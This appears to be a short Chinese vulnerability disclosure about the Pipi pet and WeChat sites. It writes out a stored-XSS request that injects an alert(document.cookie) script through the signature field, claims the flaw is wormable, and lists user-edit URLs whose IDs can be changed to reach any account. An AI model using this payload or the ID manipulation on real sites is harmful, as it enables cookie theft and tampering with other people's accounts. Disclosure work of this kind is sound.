皮皮精灵皮皮宠分站，多处来自客户端变量未进行安全过滤，导致存储型跨站存在，测试可蠕虫。
1 个人签名处未过滤

#2 蠕虫
AJAX POST
http://pet.pp.cc/index.php?m=userset&action=savePersonalBasic

gender=1&province=1&city=36&introduce=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&province=0&city=36

> 皮皮微信任意用户信息查看与修改

http://wx.pp.cc/index.php/wb_u/my_editwxuser/33789

http://wx.pp.cc/index.php/wb_u/my_editwxuser/33790

# 定义ID即可查看和修改用户信息。

# 存储跨站测试结果

http://pet.pp.cc/u/3404/me

# 皮皮微信修改任意用户信息结果

修复方案：

过滤的过滤，权限校验的校验。